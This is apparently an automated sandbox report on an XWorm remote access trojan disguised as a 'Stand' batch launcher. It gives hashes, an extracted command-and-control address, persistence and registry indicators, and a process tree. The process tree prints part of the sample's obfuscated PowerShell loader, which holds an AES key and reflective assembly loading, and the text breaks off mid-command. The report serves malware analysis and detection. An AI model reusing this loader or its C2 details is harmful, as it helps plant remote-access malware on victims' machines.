xworm | 152c7242abce7287170a4025def239d75c3c294e0710f7073f6bbb25abc31c44

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
01/06/2024, 02:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Stand.Handler.bat
Size 478KB
Sample240601-cgqa7aeg77
SHA256 152c7242abce7287170a4025def239d75c3c294e0710f7073f6bbb25abc31c44
MD5 b6de263fec4f04997a869ed7112b8759
SHA1 59d43ded2302f76f602e6ea7ae1285b373300f3b
SHA512 5237ea099e1bfef0ea6daeb77a78ba45fde4facfc010fb8182568c69f9d67b6eb3bb5a74a51b54a2a89299abbc4b733f01b9ad6e2d36df857c0586a883489533
SSDEEP 12288:xQVCDDh3QR1lXysnmEPVyNj00kZfwscx93Zq6rCLooR:xQIDlQRnlLy+0vscTpqPr
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

127.0.0.1:57023
Name1442-57023.portmap.host:57023

Attributes

Install_directory
%Temp%
install_file
Stand.exe

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023488-152.dat	family_xworm
behavioral2/memory/3460-160-0x00000000007D0000-0x00000000007F0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3660	powershell.exe
1916	powershell.exe
3104	powershell.exe
3876	powershell.exe
392	powershell.exe
3108	powershell.exe
1404	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	Stand.Launchpad.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk	Stand.Launchpad.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk	Stand.Launchpad.exe

Executes dropped EXE 3 IoCs

pid	Process
3460	Stand.Launchpad.exe
2744	Stand.exe
1540	Stand.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Stand = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Stand.exe"	Stand.Launchpad.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com

Drops file in System32 directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Stand	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3928	schtasks.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
4816	bitsadmin.exe

Modifies data under HKEY_USERS 42 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00DBE6209BC"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe

Modifies registry class 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133616810030554333"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133616810101550068"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI	svchost.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3460	Stand.Launchpad.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3660	powershell.exe
3660	powershell.exe
1916	powershell.exe
1916	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3876	powershell.exe
3876	powershell.exe
3876	powershell.exe
392	powershell.exe
392	powershell.exe
392	powershell.exe
3108	powershell.exe
3108	powershell.exe
3108	powershell.exe
1404	powershell.exe
1404	powershell.exe
1404	powershell.exe
3460	Stand.Launchpad.exe
3460	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe
1848	Stand.Launchpad.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3660	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeIncreaseQuotaPrivilege	1916	powershell.exe
Token: SeSecurityPrivilege	1916	powershell.exe
Token: SeTakeOwnershipPrivilege	1916	powershell.exe
Token: SeLoadDriverPrivilege	1916	powershell.exe
Token: SeSystemProfilePrivilege	1916	powershell.exe
Token: SeSystemtimePrivilege	1916	powershell.exe
Token: SeProfSingleProcessPrivilege	1916	powershell.exe
Token: SeIncBasePriorityPrivilege	1916	powershell.exe
Token: SeCreatePagefilePrivilege	1916	powershell.exe
Token: SeBackupPrivilege	1916	powershell.exe
Token: SeRestorePrivilege	1916	powershell.exe
Token: SeShutdownPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeSystemEnvironmentPrivilege	1916	powershell.exe
Token: SeRemoteShutdownPrivilege	1916	powershell.exe
Token: SeUndockPrivilege	1916	powershell.exe
Token: SeManageVolumePrivilege	1916	powershell.exe
Token: 33	1916	powershell.exe
Token: 34	1916	powershell.exe
Token: 35	1916	powershell.exe
Token: 36	1916	powershell.exe
Token: SeIncreaseQuotaPrivilege	1916	powershell.exe
Token: SeSecurityPrivilege	1916	powershell.exe
Token: SeTakeOwnershipPrivilege	1916	powershell.exe
Token: SeLoadDriverPrivilege	1916	powershell.exe
Token: SeSystemProfilePrivilege	1916	powershell.exe
Token: SeSystemtimePrivilege	1916	powershell.exe
Token: SeProfSingleProcessPrivilege	1916	powershell.exe
Token: SeIncBasePriorityPrivilege	1916	powershell.exe
Token: SeCreatePagefilePrivilege	1916	powershell.exe
Token: SeBackupPrivilege	1916	powershell.exe
Token: SeRestorePrivilege	1916	powershell.exe
Token: SeShutdownPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeSystemEnvironmentPrivilege	1916	powershell.exe
Token: SeRemoteShutdownPrivilege	1916	powershell.exe
Token: SeUndockPrivilege	1916	powershell.exe
Token: SeManageVolumePrivilege	1916	powershell.exe
Token: 33	1916	powershell.exe
Token: 34	1916	powershell.exe
Token: 35	1916	powershell.exe
Token: 36	1916	powershell.exe
Token: SeIncreaseQuotaPrivilege	1916	powershell.exe
Token: SeSecurityPrivilege	1916	powershell.exe
Token: SeTakeOwnershipPrivilege	1916	powershell.exe
Token: SeLoadDriverPrivilege	1916	powershell.exe
Token: SeSystemProfilePrivilege	1916	powershell.exe
Token: SeSystemtimePrivilege	1916	powershell.exe
Token: SeProfSingleProcessPrivilege	1916	powershell.exe
Token: SeIncBasePriorityPrivilege	1916	powershell.exe
Token: SeCreatePagefilePrivilege	1916	powershell.exe
Token: SeBackupPrivilege	1916	powershell.exe
Token: SeRestorePrivilege	1916	powershell.exe
Token: SeShutdownPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeSystemEnvironmentPrivilege	1916	powershell.exe
Token: SeRemoteShutdownPrivilege	1916	powershell.exe
Token: SeUndockPrivilege	1916	powershell.exe
Token: SeManageVolumePrivilege	1916	powershell.exe
Token: 33	1916	powershell.exe
Token: 34	1916	powershell.exe
Token: 35	1916	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3460	Stand.Launchpad.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3380	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3760 wrote to memory of 1184	3760	cmd.exe	86
PID 3760 wrote to memory of 1184	3760	cmd.exe	86
PID 3760 wrote to memory of 3660	3760	cmd.exe	87
PID 3760 wrote to memory of 3660	3760	cmd.exe	87
PID 3660 wrote to memory of 1916	3660	powershell.exe	88
PID 3660 wrote to memory of 1916	3660	powershell.exe	88
PID 3660 wrote to memory of 2336	3660	powershell.exe	93
PID 3660 wrote to memory of 2336	3660	powershell.exe	93
PID 2336 wrote to memory of 796	2336	WScript.exe	94
PID 2336 wrote to memory of 796	2336	WScript.exe	94
PID 796 wrote to memory of 1936	796	cmd.exe	97
PID 796 wrote to memory of 1936	796	cmd.exe	97
PID 796 wrote to memory of 3104	796	cmd.exe	98
PID 796 wrote to memory of 3104	796	cmd.exe	98
PID 3104 wrote to memory of 3380	3104	powershell.exe	55
PID 3104 wrote to memory of 1572	3104	powershell.exe	27
PID 3104 wrote to memory of 1964	3104	powershell.exe	33
PID 3104 wrote to memory of 1764	3104	powershell.exe	69
PID 3104 wrote to memory of 1556	3104	powershell.exe	26
PID 3104 wrote to memory of 964	3104	powershell.exe	12
PID 3104 wrote to memory of 1160	3104	powershell.exe	20
PID 3104 wrote to memory of 1744	3104	powershell.exe	30
PID 3104 wrote to memory of 1152	3104	powershell.exe	19
PID 3104 wrote to memory of 2132	3104	powershell.exe	38
PID 3104 wrote to memory of 1340	3104	powershell.exe	23
PID 3104 wrote to memory of 2708	3104	powershell.exe	48
PID 3104 wrote to memory of 2508	3104	powershell.exe	43
PID 3104 wrote to memory of 1716	3104	powershell.exe	29
PID 3104 wrote to memory of 2700	3104	powershell.exe	47
PID 3104 wrote to memory of 3092	3104	powershell.exe	52
PID 3104 wrote to memory of 1508	3104	powershell.exe	36
PID 3104 wrote to memory of 912	3104	powershell.exe	11
PID 3104 wrote to memory of 1108	3104	powershell.exe	17
PID 3104 wrote to memory of 2672	3104	powershell.exe	46
PID 3104 wrote to memory of 3756	3104	powershell.exe	67
PID 3104 wrote to memory of 872	3104	powershell.exe	15
PID 3104 wrote to memory of 432	3104	powershell.exe	14
PID 3104 wrote to memory of 1264	3104	powershell.exe	21
PID 3104 wrote to memory of 464	3104	powershell.exe	72
PID 3104 wrote to memory of 1840	3104	powershell.exe	32
PID 3104 wrote to memory of 1292	3104	powershell.exe	22
PID 3104 wrote to memory of 1144	3104	powershell.exe	18
PID 3104 wrote to memory of 844	3104	powershell.exe	73
PID 3104 wrote to memory of 3204	3104	powershell.exe	54
PID 3104 wrote to memory of 1660	3104	powershell.exe	28
PID 3104 wrote to memory of 1032	3104	powershell.exe	16
PID 3104 wrote to memory of 2408	3104	powershell.exe	42
PID 3104 wrote to memory of 2604	3104	powershell.exe	44
PID 3104 wrote to memory of 2208	3104	powershell.exe	40
PID 3104 wrote to memory of 3388	3104	powershell.exe	56
PID 3104 wrote to memory of 2168	3104	powershell.exe	39
PID 3104 wrote to memory of 3100	3104	powershell.exe	96
PID 3104 wrote to memory of 2004	3104	powershell.exe	35
PID 3104 wrote to memory of 1412	3104	powershell.exe	24
PID 3104 wrote to memory of 3540	3104	powershell.exe	57
PID 3104 wrote to memory of 2392	3104	powershell.exe	41
PID 3104 wrote to memory of 4944	3104	powershell.exe	68
PID 3104 wrote to memory of 1476	3104	powershell.exe	25
PID 3104 wrote to memory of 788	3104	powershell.exe	8
PID 3104 wrote to memory of 1980	3104	powershell.exe	34
PID 3104 wrote to memory of 1776	3104	powershell.exe	31
PID 3104 wrote to memory of 3632	3104	powershell.exe	100
PID 3104 wrote to memory of 3632	3104	powershell.exe	100
PID 3104 wrote to memory of 3632	3104	powershell.exe	100

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Modifies registry class
PID:788
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:3372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:432

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1144
- C:\Users\Admin\AppData\Local\Temp\Stand.exe
  C:\Users\Admin\AppData\Local\Temp\Stand.exe
  2⤵
  - Executes dropped EXE
  PID:2744
- C:\Users\Admin\AppData\Local\Temp\Stand.exe
  C:\Users\Admin\AppData\Local\Temp\Stand.exe
  2⤵
  - Executes dropped EXE
  PID:1540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1556

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1572

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1980

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2168

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3204

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Stand.Handler.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tX3lqGmOY/6C3S9lu7bskJOFzr7BWG83o03z91HSs3M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tcoPI+6H25yjw8y/a/hjpA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $izumb=New-Object System.IO.MemoryStream(,$param_var); $eDQfo=New-Object System.IO.MemoryStream; $xllVv=New-Object System.IO.Compression.GZipStream($izumb, [IO.Compression.CompressionMode]::Decompress); $xllVv.CopyTo($eDQfo); $xllVv.Dispose(); $izumb.Dispose(); $eDQfo.Dispose(); $eDQfo.ToArray();}function execute_function($param_var,$param2_var){ $bsVjW=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PVEip=$bsVjW.EntryPoint; $PVEip.Invoke($null, $param2_var);}$jENbu = 'C:\Users\Admin\AppData\Local\Temp\Stand.Handler.bat';$host.UI.RawUI.WindowTitle = $jENbu;$qAnWg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join 